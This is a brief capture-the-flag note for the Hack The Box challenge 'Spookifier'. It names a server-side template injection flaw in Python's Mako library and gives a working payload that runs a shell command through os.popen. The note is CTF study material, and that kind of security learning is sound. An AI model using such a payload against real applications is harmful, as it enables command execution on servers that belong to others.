Back

Spookifier

• Hack The Box

[!bug]

Server-Side Template Injection (STTI) in the Python mako library

⋆｡ﾟ☁︎｡⋆｡ ﾟ☾ ﾟ｡⋆

[!hint] Payload

Server Side Template Injection - Python - Payloads All The Things ${self.module.cache.util.os.popen('ls /flag.txt').read()}